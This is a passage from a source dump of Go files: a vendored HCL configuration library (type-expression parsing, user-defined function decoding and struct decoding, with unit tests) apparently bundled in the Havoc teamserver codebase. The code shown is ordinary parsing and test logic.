fmt.Sprintf("The keyword %q is not a valid type specification.", kw), Subject: expr.Range().Ptr(), }} } // If we get down here then our expression isn't just a keyword, so we'll // try to process it as a call instead. call, diags := hcl.ExprCall(expr) if diags.HasErrors() { return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: "A type specification is either a primitive type keyword (bool, number, string) or a complex type constructor call, like list(string).", Subject: expr.Range().Ptr(), }} } switch call.Name { case "bool", "string", "number", "any": return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: fmt.Sprintf("Primitive type keyword %q does not expect arguments.", call.Name), Subject: &call.ArgsRange, }} } if len(call.Arguments) != 1 { contextRange := call.ArgsRange subjectRange := call.ArgsRange if len(call.Arguments) > 1 { // If we have too many arguments (as opposed to too _few_) then // we'll highlight the extraneous arguments as the diagnostic // subject. subjectRange = hcl.RangeBetween(call.Arguments[1].Range(), call.Arguments[len(call.Arguments)-1].Range()) } switch call.Name { case "list", "set", "map": return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: fmt.Sprintf("The %s type constructor requires one argument specifying the element type.", call.Name), Subject: &subjectRange, Context: &contextRange, }} case "object": return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: "The object type constructor requires one argument specifying the attribute types and values as a map.", Subject: &subjectRange, Context: &contextRange, }} case "tuple": return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: "The tuple type constructor requires one argument specifying the element types as a list.", Subject: &subjectRange, Context: &contextRange, }} } } switch call.Name { case "list": ety, diags := getType(call.Arguments[0], constraint) return cty.List(ety), diags case "set": ety, diags := getType(call.Arguments[0], constraint) return cty.Set(ety), diags case "map": ety, diags := getType(call.Arguments[0], constraint) return cty.Map(ety), diags case "object": attrDefs, diags := hcl.ExprMap(call.Arguments[0]) if diags.HasErrors() { return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: "Object type constructor requires a map whose keys are attribute names and whose values are the corresponding attribute types.", Subject: call.Arguments[0].Range().Ptr(), Context: expr.Range().Ptr(), }} } atys := make(map[string]cty.Type) for _, attrDef := range attrDefs { attrName := hcl.ExprAsKeyword(attrDef.Key) if attrName == "" { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: "Object constructor map keys must be attribute names.", Subject: attrDef.Key.Range().Ptr(), Context: expr.Range().Ptr(), }) continue } aty, attrDiags := getType(attrDef.Value, constraint) diags = append(diags, attrDiags...) atys[attrName] = aty } return cty.Object(atys), diags case "tuple": elemDefs, diags := hcl.ExprList(call.Arguments[0]) if diags.HasErrors() { return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: "Tuple type constructor requires a list of element types.", Subject: call.Arguments[0].Range().Ptr(), Context: expr.Range().Ptr(), }} } etys := make([]cty.Type, len(elemDefs)) for i, defExpr := range elemDefs { ety, elemDiags := getType(defExpr, constraint) diags = append(diags, elemDiags...) etys[i] = ety } return cty.Tuple(etys), diags default: // Can't access call.Arguments in this path because we've not validated // that it contains exactly one expression here. return cty.DynamicPseudoType, hcl.Diagnostics{{ Severity: hcl.DiagError, Summary: invalidTypeSummary, Detail: fmt.Sprintf("Keyword %q is not a valid type constructor.", call.Name), Subject: expr.Range().Ptr(), }} } } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/typeexpr/get_type_test.go ================================================ package typeexpr import ( "testing" "Havoc/pkg/profile/yaotl/gohcl" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "Havoc/pkg/profile/yaotl/json" "github.com/zclconf/go-cty/cty" ) func TestGetType(t *testing.T) { tests := []struct { Source string Constraint bool Want cty.Type WantError string }{ // keywords { `bool`, false, cty.Bool, "", }, { `number`, false, cty.Number, "", }, { `string`, false, cty.String, "", }, { `any`, false, cty.DynamicPseudoType, `The keyword "any" cannot be used in this type specification: an exact type is required.`, }, { `any`, true, cty.DynamicPseudoType, "", }, { `list`, false, cty.DynamicPseudoType, "The list type constructor requires one argument specifying the element type.", }, { `map`, false, cty.DynamicPseudoType, "The map type constructor requires one argument specifying the element type.", }, { `set`, false, cty.DynamicPseudoType, "The set type constructor requires one argument specifying the element type.", }, { `object`, false, cty.DynamicPseudoType, "The object type constructor requires one argument specifying the attribute types and values as a map.", }, { `tuple`, false, cty.DynamicPseudoType, "The tuple type constructor requires one argument specifying the element types as a list.", }, // constructors { `bool()`, false, cty.DynamicPseudoType, `Primitive type keyword "bool" does not expect arguments.`, }, { `number()`, false, cty.DynamicPseudoType, `Primitive type keyword "number" does not expect arguments.`, }, { `string()`, false, cty.DynamicPseudoType, `Primitive type keyword "string" does not expect arguments.`, }, { `any()`, false, cty.DynamicPseudoType, `Primitive type keyword "any" does not expect arguments.`, }, { `any()`, true, cty.DynamicPseudoType, `Primitive type keyword "any" does not expect arguments.`, }, { `list(string)`, false, cty.List(cty.String), ``, }, { `set(string)`, false, cty.Set(cty.String), ``, }, { `map(string)`, false, cty.Map(cty.String), ``, }, { `list()`, false, cty.DynamicPseudoType, `The list type constructor requires one argument specifying the element type.`, }, { `list(string, string)`, false, cty.DynamicPseudoType, `The list type constructor requires one argument specifying the element type.`, }, { `list(any)`, false, cty.List(cty.DynamicPseudoType), `The keyword "any" cannot be used in this type specification: an exact type is required.`, }, { `list(any)`, true, cty.List(cty.DynamicPseudoType), ``, }, { `object({})`, false, cty.EmptyObject, ``, }, { `object({name=string})`, false, cty.Object(map[string]cty.Type{"name": cty.String}), ``, }, { `object({"name"=string})`, false, cty.EmptyObject, `Object constructor map keys must be attribute names.`, }, { `object({name=nope})`, false, cty.Object(map[string]cty.Type{"name": cty.DynamicPseudoType}), `The keyword "nope" is not a valid type specification.`, }, { `object()`, false, cty.DynamicPseudoType, `The object type constructor requires one argument specifying the attribute types and values as a map.`, }, { `object(string)`, false, cty.DynamicPseudoType, `Object type constructor requires a map whose keys are attribute names and whose values are the corresponding attribute types.`, }, { `tuple([])`, false, cty.EmptyTuple, ``, }, { `tuple([string, bool])`, false, cty.Tuple([]cty.Type{cty.String, cty.Bool}), ``, }, { `tuple([nope])`, false, cty.Tuple([]cty.Type{cty.DynamicPseudoType}), `The keyword "nope" is not a valid type specification.`, }, { `tuple()`, false, cty.DynamicPseudoType, `The tuple type constructor requires one argument specifying the element types as a list.`, }, { `tuple(string)`, false, cty.DynamicPseudoType, `Tuple type constructor requires a list of element types.`, }, { `shwoop(string)`, false, cty.DynamicPseudoType, `Keyword "shwoop" is not a valid type constructor.`, }, { `list("string")`, false, cty.List(cty.DynamicPseudoType), `A type specification is either a primitive type keyword (bool, number, string) or a complex type constructor call, like list(string).`, }, // More interesting combinations { `list(object({}))`, false, cty.List(cty.EmptyObject), ``, }, { `list(map(tuple([])))`, false, cty.List(cty.Map(cty.EmptyTuple)), ``, }, } for _, test := range tests { t.Run(test.Source, func(t *testing.T) { expr, diags := hclsyntax.ParseExpression([]byte(test.Source), "", hcl.Pos{Line: 1, Column: 1}) if diags.HasErrors() { t.Fatalf("failed to parse: %s", diags) } got, diags := getType(expr, test.Constraint) if test.WantError == "" { for _, diag := range diags { t.Error(diag) } } else { found := false for _, diag := range diags { t.Log(diag) if diag.Severity == hcl.DiagError && diag.Detail == test.WantError { found = true } } if !found { t.Errorf("missing expected error detail message: %s", test.WantError) } } if !got.Equals(test.Want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, test.Want) } }) } } func TestGetTypeJSON(t *testing.T) { // We have fewer test cases here because we're mainly exercising the // extra indirection in the JSON syntax package, which ultimately calls // into the native syntax parser (which we tested extensively in // TestGetType). tests := []struct { Source string Constraint bool Want cty.Type WantError string }{ { `{"expr":"bool"}`, false, cty.Bool, "", }, { `{"expr":"list(bool)"}`, false, cty.List(cty.Bool), "", }, { `{"expr":"list"}`, false, cty.DynamicPseudoType, "The list type constructor requires one argument specifying the element type.", }, } for _, test := range tests { t.Run(test.Source, func(t *testing.T) { file, diags := json.Parse([]byte(test.Source), "") if diags.HasErrors() { t.Fatalf("failed to parse: %s", diags) } type TestContent struct { Expr hcl.Expression `hcl:"expr"` } var content TestContent diags = gohcl.DecodeBody(file.Body, nil, &content) if diags.HasErrors() { t.Fatalf("failed to decode: %s", diags) } got, diags := getType(content.Expr, test.Constraint) if test.WantError == "" { for _, diag := range diags { t.Error(diag) } } else { found := false for _, diag := range diags { t.Log(diag) if diag.Severity == hcl.DiagError && diag.Detail == test.WantError { found = true } } if !found { t.Errorf("missing expected error detail message: %s", test.WantError) } } if !got.Equals(test.Want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, test.Want) } }) } } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/typeexpr/public.go ================================================ package typeexpr import ( "bytes" "fmt" "sort" "Havoc/pkg/profile/yaotl/hclsyntax" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" ) // Type attempts to process the given expression as a type expression and, if // successful, returns the resulting type. If unsuccessful, error diagnostics // are returned. func Type(expr hcl.Expression) (cty.Type, hcl.Diagnostics) { return getType(expr, false) } // TypeConstraint attempts to parse the given expression as a type constraint // and, if successful, returns the resulting type. If unsuccessful, error // diagnostics are returned. // // A type constraint has the same structure as a type, but it additionally // allows the keyword "any" to represent cty.DynamicPseudoType, which is often // used as a wildcard in type checking and type conversion operations. func TypeConstraint(expr hcl.Expression) (cty.Type, hcl.Diagnostics) { return getType(expr, true) } // TypeString returns a string rendering of the given type as it would be // expected to appear in the HCL native syntax. // // This is primarily intended for showing types to the user in an application // that uses typexpr, where the user can be assumed to be familiar with the // type expression syntax. In applications that do not use typeexpr these // results may be confusing to the user and so type.FriendlyName may be // preferable, even though it's less precise. // // TypeString produces reasonable results only for types like what would be // produced by the Type and TypeConstraint functions. In particular, it cannot // support capsule types. func TypeString(ty cty.Type) string { // Easy cases first switch ty { case cty.String: return "string" case cty.Bool: return "bool" case cty.Number: return "number" case cty.DynamicPseudoType: return "any" } if ty.IsCapsuleType() { panic("TypeString does not support capsule types") } if ty.IsCollectionType() { ety := ty.ElementType() etyString := TypeString(ety) switch { case ty.IsListType(): return fmt.Sprintf("list(%s)", etyString) case ty.IsSetType(): return fmt.Sprintf("set(%s)", etyString) case ty.IsMapType(): return fmt.Sprintf("map(%s)", etyString) default: // Should never happen because the above is exhaustive panic("unsupported collection type") } } if ty.IsObjectType() { var buf bytes.Buffer buf.WriteString("object({") atys := ty.AttributeTypes() names := make([]string, 0, len(atys)) for name := range atys { names = append(names, name) } sort.Strings(names) first := true for _, name := range names { aty := atys[name] if !first { buf.WriteByte(',') } if !hclsyntax.ValidIdentifier(name) { // Should never happen for any type produced by this package, // but we'll do something reasonable here just so we don't // produce garbage if someone gives us a hand-assembled object // type that has weird attribute names. // Using Go-style quoting here isn't perfect, since it doesn't // exactly match HCL syntax, but it's fine for an edge-case. buf.WriteString(fmt.Sprintf("%q", name)) } else { buf.WriteString(name) } buf.WriteByte('=') buf.WriteString(TypeString(aty)) first = false } buf.WriteString("})") return buf.String() } if ty.IsTupleType() { var buf bytes.Buffer buf.WriteString("tuple([") etys := ty.TupleElementTypes() first := true for _, ety := range etys { if !first { buf.WriteByte(',') } buf.WriteString(TypeString(ety)) first = false } buf.WriteString("])") return buf.String() } // Should never happen because we covered all cases above. panic(fmt.Errorf("unsupported type %#v", ty)) } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/typeexpr/type_string_test.go ================================================ package typeexpr import ( "testing" "github.com/zclconf/go-cty/cty" ) func TestTypeString(t *testing.T) { tests := []struct { Type cty.Type Want string }{ { cty.DynamicPseudoType, "any", }, { cty.String, "string", }, { cty.Number, "number", }, { cty.Bool, "bool", }, { cty.List(cty.Number), "list(number)", }, { cty.Set(cty.Bool), "set(bool)", }, { cty.Map(cty.String), "map(string)", }, { cty.EmptyObject, "object({})", }, { cty.Object(map[string]cty.Type{"foo": cty.Bool}), "object({foo=bool})", }, { cty.Object(map[string]cty.Type{"foo": cty.Bool, "bar": cty.String}), "object({bar=string,foo=bool})", }, { cty.EmptyTuple, "tuple([])", }, { cty.Tuple([]cty.Type{cty.Bool}), "tuple([bool])", }, { cty.Tuple([]cty.Type{cty.Bool, cty.String}), "tuple([bool,string])", }, { cty.List(cty.DynamicPseudoType), "list(any)", }, { cty.Tuple([]cty.Type{cty.DynamicPseudoType}), "tuple([any])", }, { cty.Object(map[string]cty.Type{"foo": cty.DynamicPseudoType}), "object({foo=any})", }, { // We don't expect to find attributes that aren't valid identifiers // because we only promise to support types that this package // would've created, but we allow this situation during rendering // just because it's convenient for applications trying to produce // error messages about mismatched types. Note that the quoted // attribute name is not actually accepted by our Type and // TypeConstraint functions, so this is one situation where the // TypeString result cannot be re-parsed by those functions. cty.Object(map[string]cty.Type{"foo bar baz": cty.String}), `object({"foo bar baz"=string})`, }, } for _, test := range tests { t.Run(test.Type.GoString(), func(t *testing.T) { got := TypeString(test.Type) if got != test.Want { t.Errorf("wrong result\ntype: %#v\ngot: %s\nwant: %s", test.Type, got, test.Want) } }) } } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/typeexpr/type_type.go ================================================ package typeexpr import ( "fmt" "reflect" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/ext/customdecode" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/convert" "github.com/zclconf/go-cty/cty/function" ) // TypeConstraintType is a cty capsule type that allows cty type constraints to // be used as values. // // If TypeConstraintType is used in a context supporting the // customdecode.CustomExpressionDecoder extension then it will implement // expression decoding using the TypeConstraint function, thus allowing // type expressions to be used in contexts where value expressions might // normally be expected, such as in arguments to function calls. var TypeConstraintType cty.Type // TypeConstraintVal constructs a cty.Value whose type is // TypeConstraintType. func TypeConstraintVal(ty cty.Type) cty.Value { return cty.CapsuleVal(TypeConstraintType, &ty) } // TypeConstraintFromVal extracts the type from a cty.Value of // TypeConstraintType that was previously constructed using TypeConstraintVal. // // If the given value isn't a known, non-null value of TypeConstraintType // then this function will panic. func TypeConstraintFromVal(v cty.Value) cty.Type { if !v.Type().Equals(TypeConstraintType) { panic("value is not of TypeConstraintType") } ptr := v.EncapsulatedValue().(*cty.Type) return *ptr } // ConvertFunc is a cty function that implements type conversions. // // Its signature is as follows: // convert(value, type_constraint) // // ...where type_constraint is a type constraint expression as defined by // typeexpr.TypeConstraint. // // It relies on HCL's customdecode extension and so it's not suitable for use // in non-HCL contexts or if you are using a HCL syntax implementation that // does not support customdecode for function arguments. However, it _is_ // supported for function calls in the HCL native expression syntax. var ConvertFunc function.Function func init() { TypeConstraintType = cty.CapsuleWithOps("type constraint", reflect.TypeOf(cty.Type{}), &cty.CapsuleOps{ ExtensionData: func(key interface{}) interface{} { switch key { case customdecode.CustomExpressionDecoder: return customdecode.CustomExpressionDecoderFunc( func(expr hcl.Expression, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { ty, diags := TypeConstraint(expr) if diags.HasErrors() { return cty.NilVal, diags } return TypeConstraintVal(ty), nil }, ) default: return nil } }, TypeGoString: func(_ reflect.Type) string { return "typeexpr.TypeConstraintType" }, GoString: func(raw interface{}) string { tyPtr := raw.(*cty.Type) return fmt.Sprintf("typeexpr.TypeConstraintVal(%#v)", *tyPtr) }, RawEquals: func(a, b interface{}) bool { aPtr := a.(*cty.Type) bPtr := b.(*cty.Type) return (*aPtr).Equals(*bPtr) }, }) ConvertFunc = function.New(&function.Spec{ Params: []function.Parameter{ { Name: "value", Type: cty.DynamicPseudoType, AllowNull: true, AllowDynamicType: true, }, { Name: "type", Type: TypeConstraintType, }, }, Type: func(args []cty.Value) (cty.Type, error) { wantTypePtr := args[1].EncapsulatedValue().(*cty.Type) got, err := convert.Convert(args[0], *wantTypePtr) if err != nil { return cty.NilType, function.NewArgError(0, err) } return got.Type(), nil }, Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { v, err := convert.Convert(args[0], retType) if err != nil { return cty.NilVal, function.NewArgError(0, err) } return v, nil }, }) } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/typeexpr/type_type_test.go ================================================ package typeexpr import ( "fmt" "testing" "github.com/zclconf/go-cty/cty" ) func TestTypeConstraintType(t *testing.T) { tyVal1 := TypeConstraintVal(cty.String) tyVal2 := TypeConstraintVal(cty.String) tyVal3 := TypeConstraintVal(cty.Number) if !tyVal1.RawEquals(tyVal2) { t.Errorf("tyVal1 not equal to tyVal2\ntyVal1: %#v\ntyVal2: %#v", tyVal1, tyVal2) } if tyVal1.RawEquals(tyVal3) { t.Errorf("tyVal1 equal to tyVal2, but should not be\ntyVal1: %#v\ntyVal3: %#v", tyVal1, tyVal3) } if got, want := TypeConstraintFromVal(tyVal1), cty.String; !got.Equals(want) { t.Errorf("wrong type extracted from tyVal1\ngot: %#v\nwant: %#v", got, want) } if got, want := TypeConstraintFromVal(tyVal3), cty.Number; !got.Equals(want) { t.Errorf("wrong type extracted from tyVal3\ngot: %#v\nwant: %#v", got, want) } } func TestConvertFunc(t *testing.T) { // This is testing the convert function directly, skipping over the HCL // parsing and evaluation steps that would normally lead there. There is // another test in the "integrationtest" package called TestTypeConvertFunc // that exercises the full path to this function via the hclsyntax parser. tests := []struct { val, ty cty.Value want cty.Value wantErr string }{ // The goal here is not an exhaustive set of conversions, since that's // already covered in cty/convert, but rather exercising different // permutations of success and failure to make sure the function // handles all of the results in a reasonable way. { cty.StringVal("hello"), TypeConstraintVal(cty.String), cty.StringVal("hello"), ``, }, { cty.True, TypeConstraintVal(cty.String), cty.StringVal("true"), ``, }, { cty.StringVal("hello"), TypeConstraintVal(cty.Bool), cty.NilVal, `a bool is required`, }, { cty.UnknownVal(cty.Bool), TypeConstraintVal(cty.Bool), cty.UnknownVal(cty.Bool), ``, }, { cty.DynamicVal, TypeConstraintVal(cty.Bool), cty.UnknownVal(cty.Bool), ``, }, { cty.NullVal(cty.Bool), TypeConstraintVal(cty.Bool), cty.NullVal(cty.Bool), ``, }, { cty.NullVal(cty.DynamicPseudoType), TypeConstraintVal(cty.Bool), cty.NullVal(cty.Bool), ``, }, { cty.StringVal("hello").Mark(1), TypeConstraintVal(cty.String), cty.StringVal("hello").Mark(1), ``, }, } for _, test := range tests { t.Run(fmt.Sprintf("%#v to %#v", test.val, test.ty), func(t *testing.T) { got, err := ConvertFunc.Call([]cty.Value{test.val, test.ty}) if err != nil { if test.wantErr != "" { if got, want := err.Error(), test.wantErr; got != want { t.Errorf("wrong error\ngot: %s\nwant: %s", got, want) } } else { t.Errorf("unexpected error\ngot: %s\nwant: ", err) } return } if test.wantErr != "" { t.Errorf("wrong error\ngot: \nwant: %s", test.wantErr) } if !test.want.RawEquals(got) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, test.want) } }) } } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/userfunc/README.md ================================================ # HCL User Functions Extension This HCL extension allows a calling application to support user-defined functions. Functions are defined via a specific block type, like this: ```hcl function "add" { params = [a, b] result = a + b } function "list" { params = [] variadic_param = items result = items } ``` The extension is implemented as a pre-processor for `cty.Body` objects. Given a body that may contain functions, the `DecodeUserFunctions` function searches for blocks that define functions and returns a functions map suitable for inclusion in a `hcl.EvalContext`. It also returns a new `cty.Body` that contains the remainder of the content from the given body, allowing for further processing of remaining content. For more information, see [the godoc reference](https://pkg.go.dev/Havoc/pkg/profile/yaotl/ext/userfunc?tab=doc). ================================================ FILE: teamserver/pkg/profile/yaotl/ext/userfunc/decode.go ================================================ package userfunc import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/function" ) var funcBodySchema = &hcl.BodySchema{ Attributes: []hcl.AttributeSchema{ { Name: "params", Required: true, }, { Name: "variadic_param", Required: false, }, { Name: "result", Required: true, }, }, } func decodeUserFunctions(body hcl.Body, blockType string, contextFunc ContextFunc) (funcs map[string]function.Function, remain hcl.Body, diags hcl.Diagnostics) { schema := &hcl.BodySchema{ Blocks: []hcl.BlockHeaderSchema{ { Type: blockType, LabelNames: []string{"name"}, }, }, } content, remain, diags := body.PartialContent(schema) if diags.HasErrors() { return nil, remain, diags } // first call to getBaseCtx will populate context, and then the same // context will be used for all subsequent calls. It's assumed that // all functions in a given body should see an identical context. var baseCtx *hcl.EvalContext getBaseCtx := func() *hcl.EvalContext { if baseCtx == nil { if contextFunc != nil { baseCtx = contextFunc() } } // baseCtx might still be nil here, and that's okay return baseCtx } funcs = make(map[string]function.Function) Blocks: for _, block := range content.Blocks { name := block.Labels[0] funcContent, funcDiags := block.Body.Content(funcBodySchema) diags = append(diags, funcDiags...) if funcDiags.HasErrors() { continue } paramsExpr := funcContent.Attributes["params"].Expr resultExpr := funcContent.Attributes["result"].Expr var varParamExpr hcl.Expression if funcContent.Attributes["variadic_param"] != nil { varParamExpr = funcContent.Attributes["variadic_param"].Expr } var params []string var varParam string paramExprs, paramsDiags := hcl.ExprList(paramsExpr) diags = append(diags, paramsDiags...) if paramsDiags.HasErrors() { continue } for _, paramExpr := range paramExprs { param := hcl.ExprAsKeyword(paramExpr) if param == "" { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid param element", Detail: "Each parameter name must be an identifier.", Subject: paramExpr.Range().Ptr(), }) continue Blocks } params = append(params, param) } if varParamExpr != nil { varParam = hcl.ExprAsKeyword(varParamExpr) if varParam == "" { diags = append(diags, &hcl.Diagnostic{ Severity: hcl.DiagError, Summary: "Invalid variadic_param", Detail: "The variadic parameter name must be an identifier.", Subject: varParamExpr.Range().Ptr(), }) continue } } spec := &function.Spec{} for _, paramName := range params { spec.Params = append(spec.Params, function.Parameter{ Name: paramName, Type: cty.DynamicPseudoType, }) } if varParamExpr != nil { spec.VarParam = &function.Parameter{ Name: varParam, Type: cty.DynamicPseudoType, } } impl := func(args []cty.Value) (cty.Value, error) { ctx := getBaseCtx() ctx = ctx.NewChild() ctx.Variables = make(map[string]cty.Value) // The cty function machinery guarantees that we have at least // enough args to fill all of our params. for i, paramName := range params { ctx.Variables[paramName] = args[i] } if spec.VarParam != nil { varArgs := args[len(params):] ctx.Variables[varParam] = cty.TupleVal(varArgs) } result, diags := resultExpr.Value(ctx) if diags.HasErrors() { // Smuggle the diagnostics out via the error channel, since // a diagnostics sequence implements error. Caller can // type-assert this to recover the individual diagnostics // if desired. return cty.DynamicVal, diags } return result, nil } spec.Type = func(args []cty.Value) (cty.Type, error) { val, err := impl(args) return val.Type(), err } spec.Impl = func(args []cty.Value, retType cty.Type) (cty.Value, error) { return impl(args) } funcs[name] = function.New(spec) } return funcs, remain, diags } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/userfunc/decode_test.go ================================================ package userfunc import ( "fmt" "testing" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" "github.com/zclconf/go-cty/cty" ) func TestDecodeUserFunctions(t *testing.T) { tests := []struct { src string testExpr string baseCtx *hcl.EvalContext want cty.Value diagCount int }{ { ` function "greet" { params = [name] result = "Hello, ${name}." } `, `greet("Ermintrude")`, nil, cty.StringVal("Hello, Ermintrude."), 0, }, { ` function "greet" { params = [name] result = "Hello, ${name}." } `, `greet()`, nil, cty.DynamicVal, 1, // missing value for "name" }, { ` function "greet" { params = [name] result = "Hello, ${name}." } `, `greet("Ermintrude", "extra")`, nil, cty.DynamicVal, 1, // too many arguments }, { ` function "add" { params = [a, b] result = a + b } `, `add(1, 5)`, nil, cty.NumberIntVal(6), 0, }, { ` function "argstuple" { params = [] variadic_param = args result = args } `, `argstuple("a", true, 1)`, nil, cty.TupleVal([]cty.Value{cty.StringVal("a"), cty.True, cty.NumberIntVal(1)}), 0, }, { ` function "missing_var" { params = [] result = nonexist } `, `missing_var()`, nil, cty.DynamicVal, 1, // no variable named "nonexist" }, { ` function "closure" { params = [] result = upvalue } `, `closure()`, &hcl.EvalContext{ Variables: map[string]cty.Value{ "upvalue": cty.True, }, }, cty.True, 0, }, { ` function "neg" { params = [val] result = -val } function "add" { params = [a, b] result = a + b } `, `neg(add(1, 3))`, nil, cty.NumberIntVal(-4), 0, }, { ` function "neg" { parrams = [val] result = -val } `, `null`, nil, cty.NullVal(cty.DynamicPseudoType), 2, // missing attribute "params", and unknown attribute "parrams" }, } for i, test := range tests { t.Run(fmt.Sprintf("%02d", i), func(t *testing.T) { f, diags := hclsyntax.ParseConfig([]byte(test.src), "config", hcl.Pos{Line: 1, Column: 1}) if f == nil || f.Body == nil { t.Fatalf("got nil file or body") } funcs, _, funcsDiags := decodeUserFunctions(f.Body, "function", func() *hcl.EvalContext { return test.baseCtx }) diags = append(diags, funcsDiags...) expr, exprParseDiags := hclsyntax.ParseExpression([]byte(test.testExpr), "testexpr", hcl.Pos{Line: 1, Column: 1}) diags = append(diags, exprParseDiags...) if expr == nil { t.Fatalf("parsing test expr returned nil") } got, exprDiags := expr.Value(&hcl.EvalContext{ Functions: funcs, }) diags = append(diags, exprDiags...) if len(diags) != test.diagCount { t.Errorf("wrong number of diagnostics %d; want %d", len(diags), test.diagCount) for _, diag := range diags { t.Logf("- %s", diag) } } if !got.RawEquals(test.want) { t.Errorf("wrong result\ngot: %#v\nwant: %#v", got, test.want) } }) } } ================================================ FILE: teamserver/pkg/profile/yaotl/ext/userfunc/doc.go ================================================ // Package userfunc implements a HCL extension that allows user-defined // functions in HCL configuration. // // Using this extension requires some integration effort on the part of the // calling application, to pass any declared functions into a HCL evaluation // context after processing. // // The function declaration syntax looks like this: // // function "foo" { // params = ["name"] // result = "Hello, ${name}!" // } // // When a user-defined function is called, the expression given for the "result" // attribute is evaluated in an isolated evaluation context that defines variables // named after the given parameter names. // // The block name "function" may be overridden by the calling application, if // that default name conflicts with an existing block or attribute name in // the application. package userfunc ================================================ FILE: teamserver/pkg/profile/yaotl/ext/userfunc/public.go ================================================ package userfunc import ( "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty/function" ) // A ContextFunc is a callback used to produce the base EvalContext for // running a particular set of functions. // // This is a function rather than an EvalContext directly to allow functions // to be decoded before their context is complete. This will be true, for // example, for applications that wish to allow functions to refer to themselves. // // The simplest use of a ContextFunc is to give user functions access to the // same global variables and functions available elsewhere in an application's // configuration language, but more complex applications may use different // contexts to support lexical scoping depending on where in a configuration // structure a function declaration is found, etc. type ContextFunc func() *hcl.EvalContext // DecodeUserFunctions looks for blocks of the given type in the given body // and, for each one found, interprets it as a custom function definition. // // On success, the result is a mapping of function names to implementations, // along with a new body that represents the remaining content of the given // body which can be used for further processing. // // The result expression of each function is parsed during decoding but not // evaluated until the function is called. // // If the given ContextFunc is non-nil, it will be called to obtain the // context in which the function result expressions will be evaluated. If nil, // or if it returns nil, the result expression will have access only to // variables named after the declared parameters. A non-nil context turns // the returned functions into closures, bound to the given context. // // If the returned diagnostics set has errors then the function map and // remain body may be nil or incomplete. func DecodeUserFunctions(body hcl.Body, blockType string, context ContextFunc) (funcs map[string]function.Function, remain hcl.Body, diags hcl.Diagnostics) { return decodeUserFunctions(body, blockType, context) } ================================================ FILE: teamserver/pkg/profile/yaotl/gohcl/decode.go ================================================ package gohcl import ( "fmt" "reflect" "github.com/zclconf/go-cty/cty" "Havoc/pkg/profile/yaotl" "github.com/zclconf/go-cty/cty/convert" "github.com/zclconf/go-cty/cty/gocty" ) // DecodeBody extracts the configuration within the given body into the given // value. This value must be a non-nil pointer to either a struct or // a map, where in the former case the configuration will be decoded using // struct tags and in the latter case only attributes are allowed and their // values are decoded into the map. // // The given EvalContext is used to resolve any variables or functions in // expressions encountered while decoding. This may be nil to require only // constant values, for simple applications that do not support variables or // functions. // // The returned diagnostics should be inspected with its HasErrors method to // determine if the populated value is valid and complete. If error diagnostics // are returned then the given value may have been partially-populated but // may still be accessed by a careful caller for static analysis and editor // integration use-cases. func DecodeBody(body hcl.Body, ctx *hcl.EvalContext, val interface{}) hcl.Diagnostics { rv := reflect.ValueOf(val) if rv.Kind() != reflect.Ptr { panic(fmt.Sprintf("target value must be a pointer, not %s", rv.Type().String())) } return decodeBodyToValue(body, ctx, rv.Elem()) } func decodeBodyToValue(body hcl.Body, ctx *hcl.EvalContext, val reflect.Value) hcl.Diagnostics { et := val.Type() switch et.Kind() { case reflect.Struct: return decodeBodyToStruct(body, ctx, val) case reflect.Map: return decodeBodyToMap(body, ctx, val) default: panic(fmt.Sprintf("target value must be pointer to struct or map, not %s", et.String())) } } func decodeBodyToStruct(body hcl.Body, ctx *hcl.EvalContext, val reflect.Value) hcl.Diagnostics { schema, partial := ImpliedBodySchema(val.Interface()) var content *hcl.BodyContent var leftovers hcl.Body var diags hcl.Diagnostics if partial { content, leftovers, diags = body.PartialContent(schema) } else { content, diags = body.Content(schema) } if content == nil { return diags } tags := getFieldTags(val.Type()) if tags.Body != nil { fieldIdx := *tags.Body field := val.Type().Field(fieldIdx) fieldV := val.Field(fieldIdx) switch { case bodyType.AssignableTo(field.Type): fieldV.Set(reflect.ValueOf(body)) default: diags = append(diags, decodeBodyToValue(body, ctx, fieldV)...) } } if tags.Remain != nil { fieldIdx := *tags.Remain field := val.Type().Field(fieldIdx) fieldV := val.Field(fieldIdx) switch { case bodyType.AssignableTo(field.Type): fieldV.Set(reflect.ValueOf(leftovers)) case attrsType.AssignableTo(field.Type): attrs, attrsDiags := leftovers.JustAttributes() if len(attrsDiags) > 0 { diags = append(diags, attrsDiags...) } fieldV.Set(reflect.ValueOf(attrs)) default: diags = append(diags, decodeBodyToValue(leftovers, 